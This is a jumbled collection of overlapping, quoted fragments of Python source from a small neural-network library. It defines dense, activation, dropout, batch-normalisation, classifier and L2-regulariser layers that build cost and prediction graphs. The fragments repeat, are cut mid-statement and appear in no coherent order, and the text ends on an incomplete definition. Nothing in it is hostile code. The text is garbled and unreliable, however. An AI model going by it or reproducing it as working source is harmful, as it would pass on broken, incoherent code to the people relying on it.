def", "is None else gamma_initializer def do_append(self, pos, cost_graph, predict_graph): cnt_features = cost_graph.shape[0] beta_name", "__init__(self, beta_initializer=None, gamma_initializer=None): self.beta_initializer = self.default_beta_initializer \\ if beta_initializer is None else beta_initializer", "\\ predict_graph, [] class BatchNorm(Layer): default_beta_initializer = init.ZeroInitializer() default_gamma_initializer = init.OneInitializer() def __init__(self,", "def __init__(self, lambd=0.8): self.lambd = lambd def do_append(self, cost_graph: Node, vars, inputs): dim", "self.beta_initializer, shape=(cnt_features, 1)) gamma = f.var(gamma_name, self.gamma_initializer, shape=(cnt_features, 1)) bnt = f.batch_norm_train(cost_graph, beta,", "and \"examples\" dimension cnt_features = cost_g.shape[0] w_name = self.new_var_name(\"W\") b_name = self.new_var_name(\"b\") w", "class SigmoidBinaryClassifier(Classifier): def __init__(self): super().__init__(label_size=1, cnt_classes=2) def do_append(self, cost_graph: Node, predict_graph: Node, labels:", "def do_append(self, cost_graph: Node, vars, inputs): dim = f.dim(inputs, name=self.layer_name + \"_dim\") reg", "1): raise ValueError(f\"Keep probability should be between 0 and 1\") self.keep_prob = keep_prob", "self.default_beta_initializer \\ if beta_initializer is None else beta_initializer self.gamma_initializer = self.default_gamma_initializer \\ if", "Classifier(SequenceElement, abc.ABC): def __init__(self, label_size, cnt_classes): self.layer_name = None self.label_size = label_size self.cnt_classes", "if regularizer is not None: cost_graph = regularizer.append(self.layer_names, cost_graph, regularizable_vars, self.inputs) self.cost_graph =", "Dropout(Layer): def __init__(self, keep_prob=0.8): if not (0 < keep_prob <= 1): raise ValueError(f\"Keep", "from ..core.static_shape import Dim from ..utils import validate from ..utils.naming import NameGenerator class", "Dim.of(cnt_features) self.cnt_samples = Dim.unknown() self.inputs = f.placeholder( shape=(self.cnt_features, self.cnt_samples)) cost_graph, predict_graph, regularizable_vars =", "0), name=self.layer_name) predict_fc = f.fully_connected(predict_g, w, b, first_layer=(pos == 0), name=self.layer_name + \"_p\")", "Node, labels: Node): sigmoid = f.sigmoid(predict_graph, name=self.layer_name + \"_sigmoid\") cross_entropy = f.sigmoid_cross_entropy(cost_graph, labels,", "self.labels = None self.label_size = None self.cnt_classes = None def evaluate(self, x_test): self.predict_graph.placeholders", "NameGenerator class Network(abc.ABC): def __init__(self): self.cost_graph = None self.predict_graph = None self.inputs =", "cost_graph, predict_graph, regularizable_vars = \\ self.inputs, self.inputs, [] for pos, layer in enumerate(layers):", "logits: Node, labels: Node): pass class Dense(Layer): default_weight_initializer = init.HeInitializer() default_bias_initializer = init.ZeroInitializer()", "= cost_graph.shape[0] beta_name = self.new_var_name(\"beta\") gamma_name = self.new_var_name(\"gamma\") beta = f.var(beta_name, self.beta_initializer, shape=(cnt_features,", "gt = f.is_greater_than(sigmoid, 0.5, name=self.layer_name + \"_gt\") return cross_entropy, gt class SoftmaxClassifier(Classifier): #", "self.bias_initializer, shape=(self.neurons, 1)) cost_fc = f.fully_connected(cost_g, w, b, first_layer=(pos == 0), name=self.layer_name) predict_fc", "__init__(self, keep_prob=0.8): if not (0 < keep_prob <= 1): raise ValueError(f\"Keep probability should", "beta, gamma, name=self.layer_name) bnp = f.batch_norm_predict(bnt.op, predict_graph, beta, gamma, name=self.layer_name + \"_p\") return", "self.__class__.__name__).lower() self.var_name_generator = NameGenerator(self.layer_name) class Layer(SequenceElement, abc.ABC): def append(self, pos: int, name_generator: NameGenerator,", "predict_graph, labels) @abc.abstractmethod def do_append(self, cost_graph: Node, predict_graph: Node, labels: Node): pass class", "softmax = f.softmax(predict_graph, name=self.layer_name + \"_softmax\") argmax = f.argmax(softmax, name=self.layer_name + \"_argmax\") return", "vars, name=self.layer_name) if self.lambd > 0: return cost_graph + reg else: return cost_graph", "cost_graph: Node, predict_graph: Node, labels: Node): sigmoid = f.sigmoid(predict_graph, name=self.layer_name + \"_sigmoid\") cross_entropy", "def do_append(self, pos, cost_graph, predict_graph): return f.relu(cost_graph, name=self.layer_name), \\ f.relu(predict_graph, name=self.layer_name + \"_p\"),", "from ..core import node_factory as f, initializers as init from ..core.graph import Node,", "__init__(self): self.cost_graph = None self.predict_graph = None self.inputs = None self.labels = None", "cnt_classes=classes) def do_append(self, cost_graph: Node, predict_graph: Node, labels: Node): entropy = f.softmax_cross_entropy(cost_graph, labels,", "f.batch_norm_train(cost_graph, beta, gamma, name=self.layer_name) bnp = f.batch_norm_predict(bnt.op, predict_graph, beta, gamma, name=self.layer_name + \"_p\")", "int): validate.is_strictly_greater_than(\"classes\", classes, 2) super().__init__(label_size=classes, cnt_classes=classes) def do_append(self, cost_graph: Node, predict_graph: Node, labels:", "__init__(self, label_size, cnt_classes): self.layer_name = None self.label_size = label_size self.cnt_classes = cnt_classes def", "do_append(self, cost_graph: Node, predict_graph: Node, labels: Node): entropy = f.softmax_cross_entropy(cost_graph, labels, name=self.layer_name) softmax", "w, b, first_layer=(pos == 0), name=self.layer_name + \"_p\") return cost_fc, predict_fc, [w] class", "bnt = f.batch_norm_train(cost_graph, beta, gamma, name=self.layer_name) bnp = f.batch_norm_predict(bnt.op, predict_graph, beta, gamma, name=self.layer_name", "def do_append(self, cost_graph: Node, predict_graph: Node, labels: Node): entropy = f.softmax_cross_entropy(cost_graph, labels, name=self.layer_name)", "SigmoidBinaryClassifier(Classifier): def __init__(self): super().__init__(label_size=1, cnt_classes=2) def do_append(self, cost_graph: Node, predict_graph: Node, labels: Node):", "+ \"_argmax\") return entropy, argmax class Regularizer(SequenceElement, abc.ABC): def append(self, name_generator, cost_graph: Node,", "Sequence(Network): def __init__(self, cnt_features: int, layers, classifier, regularizer=None): super().__init__() self.layer_names = NameGenerator() self.cnt_features", "x_test} return self.predict_graph.evaluate() def evaluate_cost(self, x_train, y_train): self.feed_cost_graph(x_train, y_train) return self.cost_graph.evaluate() def initialize_variables(self):", "abc.ABC): def append(self, name_generator, cost_graph: Node, vars, inputs): self.prepare_names(name_generator) return self.do_append(cost_graph, vars, inputs)", "first_layer=(pos == 0), name=self.layer_name + \"_p\") return cost_fc, predict_fc, [w] class ReLu(Layer): def", "= f.sigmoid_cross_entropy(cost_graph, labels, name=self.layer_name) gt = f.is_greater_than(sigmoid, 0.5, name=self.layer_name + \"_gt\") return cross_entropy,", "@abc.abstractmethod def do_append(self, cost_graph: Node, predict_graph: Node, labels: Node): pass class SigmoidBinaryClassifier(Classifier): def", "pass class L2Regularizer(Regularizer): def __init__(self, lambd=0.8): self.lambd = lambd def do_append(self, cost_graph: Node,", "cost_fc = f.fully_connected(cost_g, w, b, first_layer=(pos == 0), name=self.layer_name) predict_fc = f.fully_connected(predict_g, w,", "def __init__(self, neurons: int, weight_initializer=None, bias_initializer=None): self.neurons = neurons self.weight_initializer = self.default_weight_initializer \\", "pos, cost_graph, predict_graph): cnt_features = cost_graph.shape[0] beta_name = self.new_var_name(\"beta\") gamma_name = self.new_var_name(\"gamma\") beta", "predict_graph, [] class BatchNorm(Layer): default_beta_initializer = init.ZeroInitializer() default_gamma_initializer = init.OneInitializer() def __init__(self, beta_initializer=None,", "regularizable_vars.extend(vars) self.cnt_classes = classifier.cnt_classes self.label_size = classifier.label_size self.labels = f.placeholder( shape=(self.label_size, self.cnt_samples)) cost_graph,", "labels: Node): entropy = f.softmax_cross_entropy(cost_graph, labels, name=self.layer_name) softmax = f.softmax(predict_graph, name=self.layer_name + \"_softmax\")", "self.cost_graph = Graph(cost_graph) self.predict_graph = Graph(predict_graph) class SequenceElement(abc.ABC): def __init__(self): self.layer_name = None", "+ \"_p\") return bnt, bnp, [beta, gamma] class Classifier(SequenceElement, abc.ABC): def __init__(self, label_size,", "logits: Node, labels: Node): self.prepare_names(name_generator) return self.do_append(pos, logits, labels) @abc.abstractmethod def do_append(self, pos:", "[] for pos, layer in enumerate(layers): cost_graph, predict_graph, vars = layer.append(pos, self.layer_names, cost_graph,", "argmax class Regularizer(SequenceElement, abc.ABC): def append(self, name_generator, cost_graph: Node, vars, inputs): self.prepare_names(name_generator) return", "self.cost_graph.placeholders = {self.inputs: x_train, self.labels: y_train} class Sequence(Network): def __init__(self, cnt_features: int, layers,", "f.softmax_cross_entropy(cost_graph, labels, name=self.layer_name) softmax = f.softmax(predict_graph, name=self.layer_name + \"_softmax\") argmax = f.argmax(softmax, name=self.layer_name", "self.var_name_generator = None def new_var_name(self, prefix): return self.var_name_generator.generate(prefix) def prepare_names(self, name_generator: NameGenerator): self.layer_name", "NameGenerator, logits: Node, labels: Node): self.prepare_names(name_generator) return self.do_append(pos, logits, labels) @abc.abstractmethod def do_append(self,", "from ..utils import validate from ..utils.naming import NameGenerator class Network(abc.ABC): def __init__(self): self.cost_graph", "is None else weight_initializer self.bias_initializer = self.default_bias_initializer \\ if bias_initializer is None else", "f.dim(inputs, name=self.layer_name + \"_dim\") reg = f.l2_norm_regularizer(self.lambd, dim, vars, name=self.layer_name) if self.lambd >", "super().__init__(label_size=classes, cnt_classes=classes) def do_append(self, cost_graph: Node, predict_graph: Node, labels: Node): entropy = f.softmax_cross_entropy(cost_graph,", "labels, name=self.layer_name) gt = f.is_greater_than(sigmoid, 0.5, name=self.layer_name + \"_gt\") return cross_entropy, gt class", "beta_initializer self.gamma_initializer = self.default_gamma_initializer \\ if gamma_initializer is None else gamma_initializer def do_append(self,", "None self.cnt_classes = None def evaluate(self, x_test): self.predict_graph.placeholders = {self.inputs: x_test} return self.predict_graph.evaluate()", "keep_prob <= 1): raise ValueError(f\"Keep probability should be between 0 and 1\") self.keep_prob", "gamma] class Classifier(SequenceElement, abc.ABC): def __init__(self, label_size, cnt_classes): self.layer_name = None self.label_size =", "name=self.layer_name + \"_p\") return bnt, bnp, [beta, gamma] class Classifier(SequenceElement, abc.ABC): def __init__(self,", "= layer.append(pos, self.layer_names, cost_graph, predict_graph) regularizable_vars.extend(vars) self.cnt_classes = classifier.cnt_classes self.label_size = classifier.label_size self.labels", "from ..utils.naming import NameGenerator class Network(abc.ABC): def __init__(self): self.cost_graph = None self.predict_graph =", "= f.softmax_cross_entropy(cost_graph, labels, name=self.layer_name) softmax = f.softmax(predict_graph, name=self.layer_name + \"_softmax\") argmax = f.argmax(softmax,", "import Node, Graph from ..core.static_shape import Dim from ..utils import validate from ..utils.naming", "regularizer=None): super().__init__() self.layer_names = NameGenerator() self.cnt_features = Dim.of(cnt_features) self.cnt_samples = Dim.unknown() self.inputs =", "\"examples\" dimension cnt_features = cost_g.shape[0] w_name = self.new_var_name(\"W\") b_name = self.new_var_name(\"b\") w =", "b = f.var(b_name, self.bias_initializer, shape=(self.neurons, 1)) cost_fc = f.fully_connected(cost_g, w, b, first_layer=(pos ==", "= {self.inputs: x_train, self.labels: y_train} class Sequence(Network): def __init__(self, cnt_features: int, layers, classifier,", "do_append(self, pos, cost_graph, predict_graph): cnt_features = cost_graph.shape[0] beta_name = self.new_var_name(\"beta\") gamma_name = self.new_var_name(\"gamma\")", "return self.predict_graph.evaluate() def evaluate_cost(self, x_train, y_train): self.feed_cost_graph(x_train, y_train) return self.cost_graph.evaluate() def initialize_variables(self): self.cost_graph.initialize_variables()", "= NameGenerator(self.layer_name) class Layer(SequenceElement, abc.ABC): def append(self, pos: int, name_generator: NameGenerator, logits: Node,", "self.prepare_names(name_generator) return self.do_append(cost_graph, predict_graph, labels) @abc.abstractmethod def do_append(self, cost_graph: Node, predict_graph: Node, labels:", "\"_dim\") reg = f.l2_norm_regularizer(self.lambd, dim, vars, name=self.layer_name) if self.lambd > 0: return cost_graph", "cost_graph: Node, predict_graph: Node, labels: Node): entropy = f.softmax_cross_entropy(cost_graph, labels, name=self.layer_name) softmax =", "cnt_classes): self.layer_name = None self.label_size = label_size self.cnt_classes = cnt_classes def append(self, name_generator,", "self.cnt_classes = classifier.cnt_classes self.label_size = classifier.label_size self.labels = f.placeholder( shape=(self.label_size, self.cnt_samples)) cost_graph, predict_graph", "f.fully_connected(cost_g, w, b, first_layer=(pos == 0), name=self.layer_name) predict_fc = f.fully_connected(predict_g, w, b, first_layer=(pos", "class Network(abc.ABC): def __init__(self): self.cost_graph = None self.predict_graph = None self.inputs = None", "cost_graph, predict_graph): cnt_features = cost_graph.shape[0] beta_name = self.new_var_name(\"beta\") gamma_name = self.new_var_name(\"gamma\") beta =", "def __init__(self): self.layer_name = None self.var_name_generator = None def new_var_name(self, prefix): return self.var_name_generator.generate(prefix)", "BatchNorm(Layer): default_beta_initializer = init.ZeroInitializer() default_gamma_initializer = init.OneInitializer() def __init__(self, beta_initializer=None, gamma_initializer=None): self.beta_initializer =", "0 and 1\") self.keep_prob = keep_prob def do_append(self, pos, cost_graph, predict_graph): return f.dropout(self.keep_prob,", "labels: Node): pass class SigmoidBinaryClassifier(Classifier): def __init__(self): super().__init__(label_size=1, cnt_classes=2) def do_append(self, cost_graph: Node,", "beta_name = self.new_var_name(\"beta\") gamma_name = self.new_var_name(\"gamma\") beta = f.var(beta_name, self.beta_initializer, shape=(cnt_features, 1)) gamma", "= f.fully_connected(cost_g, w, b, first_layer=(pos == 0), name=self.layer_name) predict_fc = f.fully_connected(predict_g, w, b,", "gamma_name = self.new_var_name(\"gamma\") beta = f.var(beta_name, self.beta_initializer, shape=(cnt_features, 1)) gamma = f.var(gamma_name, self.gamma_initializer,", "self.cnt_samples)) cost_graph, predict_graph = classifier.append(self.layer_names, cost_graph, predict_graph, self.labels) if regularizer is not None:", "predict_graph): return f.leaky_relu(cost_graph, name=self.layer_name), \\ f.leaky_relu(predict_graph, name=self.layer_name + \"_p\"), \\ [] class Dropout(Layer):", "different axis for the \"features\" and \"examples\" dimension cnt_features = cost_g.shape[0] w_name =", "= f.placeholder( shape=(self.cnt_features, self.cnt_samples)) cost_graph, predict_graph, regularizable_vars = \\ self.inputs, self.inputs, [] for", "as f, initializers as init from ..core.graph import Node, Graph from ..core.static_shape import", "b_name = self.new_var_name(\"b\") w = f.var(w_name, self.weight_initializer, shape=(self.neurons, cnt_features)) b = f.var(b_name, self.bias_initializer,", "neurons self.weight_initializer = self.default_weight_initializer \\ if weight_initializer is None else weight_initializer self.bias_initializer =", "logits, labels) @abc.abstractmethod def do_append(self, pos: int, logits: Node, labels: Node): pass class", "f.leaky_relu(predict_graph, name=self.layer_name + \"_p\"), \\ [] class Dropout(Layer): def __init__(self, keep_prob=0.8): if not", "Node, labels: Node): pass class SigmoidBinaryClassifier(Classifier): def __init__(self): super().__init__(label_size=1, cnt_classes=2) def do_append(self, cost_graph:", "Node, labels: Node): entropy = f.softmax_cross_entropy(cost_graph, labels, name=self.layer_name) softmax = f.softmax(predict_graph, name=self.layer_name +", "+ \"_p\"), [] class LeakyReLu(Layer): def do_append(self, pos, cost_graph, predict_graph): return f.leaky_relu(cost_graph, name=self.layer_name),", "Node, vars, inputs): self.prepare_names(name_generator) return self.do_append(cost_graph, vars, inputs) @abc.abstractmethod def do_append(self, cost_graph: Node,", "Node, predict_graph: Node, labels: Node): entropy = f.softmax_cross_entropy(cost_graph, labels, name=self.layer_name) softmax = f.softmax(predict_graph,", "self.layer_names = NameGenerator() self.cnt_features = Dim.of(cnt_features) self.cnt_samples = Dim.unknown() self.inputs = f.placeholder( shape=(self.cnt_features,", "else weight_initializer self.bias_initializer = self.default_bias_initializer \\ if bias_initializer is None else bias_initializer def", "in enumerate(layers): cost_graph, predict_graph, vars = layer.append(pos, self.layer_names, cost_graph, predict_graph) regularizable_vars.extend(vars) self.cnt_classes =", "name=self.layer_name) predict_fc = f.fully_connected(predict_g, w, b, first_layer=(pos == 0), name=self.layer_name + \"_p\") return", "def __init__(self, keep_prob=0.8): if not (0 < keep_prob <= 1): raise ValueError(f\"Keep probability", "cost_graph.shape[0] beta_name = self.new_var_name(\"beta\") gamma_name = self.new_var_name(\"gamma\") beta = f.var(beta_name, self.beta_initializer, shape=(cnt_features, 1))", "classifier, regularizer=None): super().__init__() self.layer_names = NameGenerator() self.cnt_features = Dim.of(cnt_features) self.cnt_samples = Dim.unknown() self.inputs", "shape=(cnt_features, 1)) bnt = f.batch_norm_train(cost_graph, beta, gamma, name=self.layer_name) bnp = f.batch_norm_predict(bnt.op, predict_graph, beta,", "name=self.layer_name), \\ f.relu(predict_graph, name=self.layer_name + \"_p\"), [] class LeakyReLu(Layer): def do_append(self, pos, cost_graph,", "predict_graph: Node, labels: Node): entropy = f.softmax_cross_entropy(cost_graph, labels, name=self.layer_name) softmax = f.softmax(predict_graph, name=self.layer_name", "self.default_weight_initializer \\ if weight_initializer is None else weight_initializer self.bias_initializer = self.default_bias_initializer \\ if", "__init__(self): super().__init__(label_size=1, cnt_classes=2) def do_append(self, cost_graph: Node, predict_graph: Node, labels: Node): sigmoid =", "axis def __init__(self, classes: int): validate.is_strictly_greater_than(\"classes\", classes, 2) super().__init__(label_size=classes, cnt_classes=classes) def do_append(self, cost_graph:", "# TODO axis def __init__(self, classes: int): validate.is_strictly_greater_than(\"classes\", classes, 2) super().__init__(label_size=classes, cnt_classes=classes) def", "Node, vars, inputs): dim = f.dim(inputs, name=self.layer_name + \"_dim\") reg = f.l2_norm_regularizer(self.lambd, dim,", "dim = f.dim(inputs, name=self.layer_name + \"_dim\") reg = f.l2_norm_regularizer(self.lambd, dim, vars, name=self.layer_name) if", "= self.new_var_name(\"gamma\") beta = f.var(beta_name, self.beta_initializer, shape=(cnt_features, 1)) gamma = f.var(gamma_name, self.gamma_initializer, shape=(cnt_features,", "self.do_append(cost_graph, predict_graph, labels) @abc.abstractmethod def do_append(self, cost_graph: Node, predict_graph: Node, labels: Node): pass", "= neurons self.weight_initializer = self.default_weight_initializer \\ if weight_initializer is None else weight_initializer self.bias_initializer", "Node, vars, inputs): pass class L2Regularizer(Regularizer): def __init__(self, lambd=0.8): self.lambd = lambd def", "entropy, argmax class Regularizer(SequenceElement, abc.ABC): def append(self, name_generator, cost_graph: Node, vars, inputs): self.prepare_names(name_generator)", "init.HeInitializer() default_bias_initializer = init.ZeroInitializer() def __init__(self, neurons: int, weight_initializer=None, bias_initializer=None): self.neurons = neurons", "Dim.unknown() self.inputs = f.placeholder( shape=(self.cnt_features, self.cnt_samples)) cost_graph, predict_graph, regularizable_vars = \\ self.inputs, self.inputs,", "cost_graph, predict_graph, vars = layer.append(pos, self.layer_names, cost_graph, predict_graph) regularizable_vars.extend(vars) self.cnt_classes = classifier.cnt_classes self.label_size", "self.inputs) self.cost_graph = Graph(cost_graph) self.predict_graph = Graph(predict_graph) class SequenceElement(abc.ABC): def __init__(self): self.layer_name =", "dimension cnt_features = cost_g.shape[0] w_name = self.new_var_name(\"W\") b_name = self.new_var_name(\"b\") w = f.var(w_name,", "= f.var(w_name, self.weight_initializer, shape=(self.neurons, cnt_features)) b = f.var(b_name, self.bias_initializer, shape=(self.neurons, 1)) cost_fc =", "cnt_classes def append(self, name_generator, cost_graph: Node, predict_graph: Node, labels: Node): self.prepare_names(name_generator) return self.do_append(cost_graph,", "ReLu(Layer): def do_append(self, pos, cost_graph, predict_graph): return f.relu(cost_graph, name=self.layer_name), \\ f.relu(predict_graph, name=self.layer_name +", "= None self.label_size = None self.cnt_classes = None def evaluate(self, x_test): self.predict_graph.placeholders =", "name=self.layer_name + \"_gt\") return cross_entropy, gt class SoftmaxClassifier(Classifier): # TODO axis def __init__(self,", "..core.graph import Node, Graph from ..core.static_shape import Dim from ..utils import validate from", "self.weight_initializer = self.default_weight_initializer \\ if weight_initializer is None else weight_initializer self.bias_initializer = self.default_bias_initializer", "weight_initializer is None else weight_initializer self.bias_initializer = self.default_bias_initializer \\ if bias_initializer is None", "+ \"_sigmoid\") cross_entropy = f.sigmoid_cross_entropy(cost_graph, labels, name=self.layer_name) gt = f.is_greater_than(sigmoid, 0.5, name=self.layer_name +", "bnt, bnp, [beta, gamma] class Classifier(SequenceElement, abc.ABC): def __init__(self, label_size, cnt_classes): self.layer_name =", "= init.HeInitializer() default_bias_initializer = init.ZeroInitializer() def __init__(self, neurons: int, weight_initializer=None, bias_initializer=None): self.neurons =", "import NameGenerator class Network(abc.ABC): def __init__(self): self.cost_graph = None self.predict_graph = None self.inputs", "pos: int, logits: Node, labels: Node): pass class Dense(Layer): default_weight_initializer = init.HeInitializer() default_bias_initializer", "f.dropout(self.keep_prob, cost_graph, name=self.layer_name), \\ predict_graph, [] class BatchNorm(Layer): default_beta_initializer = init.ZeroInitializer() default_gamma_initializer =", "1\") self.keep_prob = keep_prob def do_append(self, pos, cost_graph, predict_graph): return f.dropout(self.keep_prob, cost_graph, name=self.layer_name),", "name_generator, cost_graph: Node, vars, inputs): self.prepare_names(name_generator) return self.do_append(cost_graph, vars, inputs) @abc.abstractmethod def do_append(self,", "return cost_fc, predict_fc, [w] class ReLu(Layer): def do_append(self, pos, cost_graph, predict_graph): return f.relu(cost_graph,", "labels: Node): sigmoid = f.sigmoid(predict_graph, name=self.layer_name + \"_sigmoid\") cross_entropy = f.sigmoid_cross_entropy(cost_graph, labels, name=self.layer_name)", "= Dim.of(cnt_features) self.cnt_samples = Dim.unknown() self.inputs = f.placeholder( shape=(self.cnt_features, self.cnt_samples)) cost_graph, predict_graph, regularizable_vars", "be between 0 and 1\") self.keep_prob = keep_prob def do_append(self, pos, cost_graph, predict_graph):", "return self.cost_graph.evaluate() def initialize_variables(self): self.cost_graph.initialize_variables() def feed_cost_graph(self, x_train, y_train): self.cost_graph.placeholders = {self.inputs: x_train,", "return self.var_name_generator.generate(prefix) def prepare_names(self, name_generator: NameGenerator): self.layer_name = name_generator.generate( self.__class__.__name__).lower() self.var_name_generator = NameGenerator(self.layer_name)", "append(self, name_generator, cost_graph: Node, vars, inputs): self.prepare_names(name_generator) return self.do_append(cost_graph, vars, inputs) @abc.abstractmethod def", "cost_graph, predict_graph, self.labels) if regularizer is not None: cost_graph = regularizer.append(self.layer_names, cost_graph, regularizable_vars,", "self.label_size = label_size self.cnt_classes = cnt_classes def append(self, name_generator, cost_graph: Node, predict_graph: Node,", "def do_append(self, pos: int, logits: Node, labels: Node): pass class Dense(Layer): default_weight_initializer =", "..utils.naming import NameGenerator class Network(abc.ABC): def __init__(self): self.cost_graph = None self.predict_graph = None", "name_generator.generate( self.__class__.__name__).lower() self.var_name_generator = NameGenerator(self.layer_name) class Layer(SequenceElement, abc.ABC): def append(self, pos: int, name_generator:", "self.do_append(cost_graph, vars, inputs) @abc.abstractmethod def do_append(self, cost_graph: Node, vars, inputs): pass class L2Regularizer(Regularizer):", "self.weight_initializer, shape=(self.neurons, cnt_features)) b = f.var(b_name, self.bias_initializer, shape=(self.neurons, 1)) cost_fc = f.fully_connected(cost_g, w,", "<= 1): raise ValueError(f\"Keep probability should be between 0 and 1\") self.keep_prob =", "x_test): self.predict_graph.placeholders = {self.inputs: x_test} return self.predict_graph.evaluate() def evaluate_cost(self, x_train, y_train): self.feed_cost_graph(x_train, y_train)", "cost_graph, predict_graph): return f.relu(cost_graph, name=self.layer_name), \\ f.relu(predict_graph, name=self.layer_name + \"_p\"), [] class LeakyReLu(Layer):", "cost_graph: Node, predict_graph: Node, labels: Node): self.prepare_names(name_generator) return self.do_append(cost_graph, predict_graph, labels) @abc.abstractmethod def", "= self.default_bias_initializer \\ if bias_initializer is None else bias_initializer def do_append(self, pos, cost_g,", "name=self.layer_name), \\ predict_graph, [] class BatchNorm(Layer): default_beta_initializer = init.ZeroInitializer() default_gamma_initializer = init.OneInitializer() def", "class Sequence(Network): def __init__(self, cnt_features: int, layers, classifier, regularizer=None): super().__init__() self.layer_names = NameGenerator()", "self.gamma_initializer, shape=(cnt_features, 1)) bnt = f.batch_norm_train(cost_graph, beta, gamma, name=self.layer_name) bnp = f.batch_norm_predict(bnt.op, predict_graph,", "predict_graph: Node, labels: Node): self.prepare_names(name_generator) return self.do_append(cost_graph, predict_graph, labels) @abc.abstractmethod def do_append(self, cost_graph:", "entropy = f.softmax_cross_entropy(cost_graph, labels, name=self.layer_name) softmax = f.softmax(predict_graph, name=self.layer_name + \"_softmax\") argmax =", "\\ [] class Dropout(Layer): def __init__(self, keep_prob=0.8): if not (0 < keep_prob <=", "do_append(self, pos, cost_graph, predict_graph): return f.leaky_relu(cost_graph, name=self.layer_name), \\ f.leaky_relu(predict_graph, name=self.layer_name + \"_p\"), \\", "name_generator, cost_graph: Node, predict_graph: Node, labels: Node): self.prepare_names(name_generator) return self.do_append(cost_graph, predict_graph, labels) @abc.abstractmethod", "= f.var(b_name, self.bias_initializer, shape=(self.neurons, 1)) cost_fc = f.fully_connected(cost_g, w, b, first_layer=(pos == 0),", "sigmoid = f.sigmoid(predict_graph, name=self.layer_name + \"_sigmoid\") cross_entropy = f.sigmoid_cross_entropy(cost_graph, labels, name=self.layer_name) gt =", "init from ..core.graph import Node, Graph from ..core.static_shape import Dim from ..utils import", "pos, layer in enumerate(layers): cost_graph, predict_graph, vars = layer.append(pos, self.layer_names, cost_graph, predict_graph) regularizable_vars.extend(vars)", "super().__init__() self.layer_names = NameGenerator() self.cnt_features = Dim.of(cnt_features) self.cnt_samples = Dim.unknown() self.inputs = f.placeholder(", "inputs) @abc.abstractmethod def do_append(self, cost_graph: Node, vars, inputs): pass class L2Regularizer(Regularizer): def __init__(self,", "Node, predict_graph: Node, labels: Node): sigmoid = f.sigmoid(predict_graph, name=self.layer_name + \"_sigmoid\") cross_entropy =", "= self.default_gamma_initializer \\ if gamma_initializer is None else gamma_initializer def do_append(self, pos, cost_graph,", "= label_size self.cnt_classes = cnt_classes def append(self, name_generator, cost_graph: Node, predict_graph: Node, labels:", "cross_entropy, gt class SoftmaxClassifier(Classifier): # TODO axis def __init__(self, classes: int): validate.is_strictly_greater_than(\"classes\", classes,", "class Classifier(SequenceElement, abc.ABC): def __init__(self, label_size, cnt_classes): self.layer_name = None self.label_size = label_size", "as init from ..core.graph import Node, Graph from ..core.static_shape import Dim from ..utils", "0.5, name=self.layer_name + \"_gt\") return cross_entropy, gt class SoftmaxClassifier(Classifier): # TODO axis def", "None else gamma_initializer def do_append(self, pos, cost_graph, predict_graph): cnt_features = cost_graph.shape[0] beta_name =", "keep_prob def do_append(self, pos, cost_graph, predict_graph): return f.dropout(self.keep_prob, cost_graph, name=self.layer_name), \\ predict_graph, []", "x_train, y_train): self.cost_graph.placeholders = {self.inputs: x_train, self.labels: y_train} class Sequence(Network): def __init__(self, cnt_features:", "class L2Regularizer(Regularizer): def __init__(self, lambd=0.8): self.lambd = lambd def do_append(self, cost_graph: Node, vars,", "and 1\") self.keep_prob = keep_prob def do_append(self, pos, cost_graph, predict_graph): return f.dropout(self.keep_prob, cost_graph,", "f.fully_connected(predict_g, w, b, first_layer=(pos == 0), name=self.layer_name + \"_p\") return cost_fc, predict_fc, [w]", "gamma, name=self.layer_name + \"_p\") return bnt, bnp, [beta, gamma] class Classifier(SequenceElement, abc.ABC): def", "self.predict_graph = Graph(predict_graph) class SequenceElement(abc.ABC): def __init__(self): self.layer_name = None self.var_name_generator = None", "Graph from ..core.static_shape import Dim from ..utils import validate from ..utils.naming import NameGenerator", "default_gamma_initializer = init.OneInitializer() def __init__(self, beta_initializer=None, gamma_initializer=None): self.beta_initializer = self.default_beta_initializer \\ if beta_initializer", "def append(self, name_generator, cost_graph: Node, predict_graph: Node, labels: Node): self.prepare_names(name_generator) return self.do_append(cost_graph, predict_graph,", "do_append(self, pos, cost_g, predict_g): # TODO Allow different axis for the \"features\" and", "\\ f.leaky_relu(predict_graph, name=self.layer_name + \"_p\"), \\ [] class Dropout(Layer): def __init__(self, keep_prob=0.8): if", "return f.relu(cost_graph, name=self.layer_name), \\ f.relu(predict_graph, name=self.layer_name + \"_p\"), [] class LeakyReLu(Layer): def do_append(self,", "def prepare_names(self, name_generator: NameGenerator): self.layer_name = name_generator.generate( self.__class__.__name__).lower() self.var_name_generator = NameGenerator(self.layer_name) class Layer(SequenceElement,", "cost_graph, predict_graph): return f.dropout(self.keep_prob, cost_graph, name=self.layer_name), \\ predict_graph, [] class BatchNorm(Layer): default_beta_initializer =", "regularizable_vars, self.inputs) self.cost_graph = Graph(cost_graph) self.predict_graph = Graph(predict_graph) class SequenceElement(abc.ABC): def __init__(self): self.layer_name", "inputs): dim = f.dim(inputs, name=self.layer_name + \"_dim\") reg = f.l2_norm_regularizer(self.lambd, dim, vars, name=self.layer_name)", "do_append(self, pos, cost_graph, predict_graph): return f.relu(cost_graph, name=self.layer_name), \\ f.relu(predict_graph, name=self.layer_name + \"_p\"), []", "gamma_initializer=None): self.beta_initializer = self.default_beta_initializer \\ if beta_initializer is None else beta_initializer self.gamma_initializer =", "inputs): self.prepare_names(name_generator) return self.do_append(cost_graph, vars, inputs) @abc.abstractmethod def do_append(self, cost_graph: Node, vars, inputs):", "name=self.layer_name + \"_dim\") reg = f.l2_norm_regularizer(self.lambd, dim, vars, name=self.layer_name) if self.lambd > 0:", "= None self.inputs = None self.labels = None self.label_size = None self.cnt_classes =", "cnt_features = cost_graph.shape[0] beta_name = self.new_var_name(\"beta\") gamma_name = self.new_var_name(\"gamma\") beta = f.var(beta_name, self.beta_initializer,", "class Dropout(Layer): def __init__(self, keep_prob=0.8): if not (0 < keep_prob <= 1): raise", "class LeakyReLu(Layer): def do_append(self, pos, cost_graph, predict_graph): return f.leaky_relu(cost_graph, name=self.layer_name), \\ f.leaky_relu(predict_graph, name=self.layer_name", "shape=(self.label_size, self.cnt_samples)) cost_graph, predict_graph = classifier.append(self.layer_names, cost_graph, predict_graph, self.labels) if regularizer is not", "else bias_initializer def do_append(self, pos, cost_g, predict_g): # TODO Allow different axis for", "vars, inputs): dim = f.dim(inputs, name=self.layer_name + \"_dim\") reg = f.l2_norm_regularizer(self.lambd, dim, vars,", "name=self.layer_name) gt = f.is_greater_than(sigmoid, 0.5, name=self.layer_name + \"_gt\") return cross_entropy, gt class SoftmaxClassifier(Classifier):", "@abc.abstractmethod def 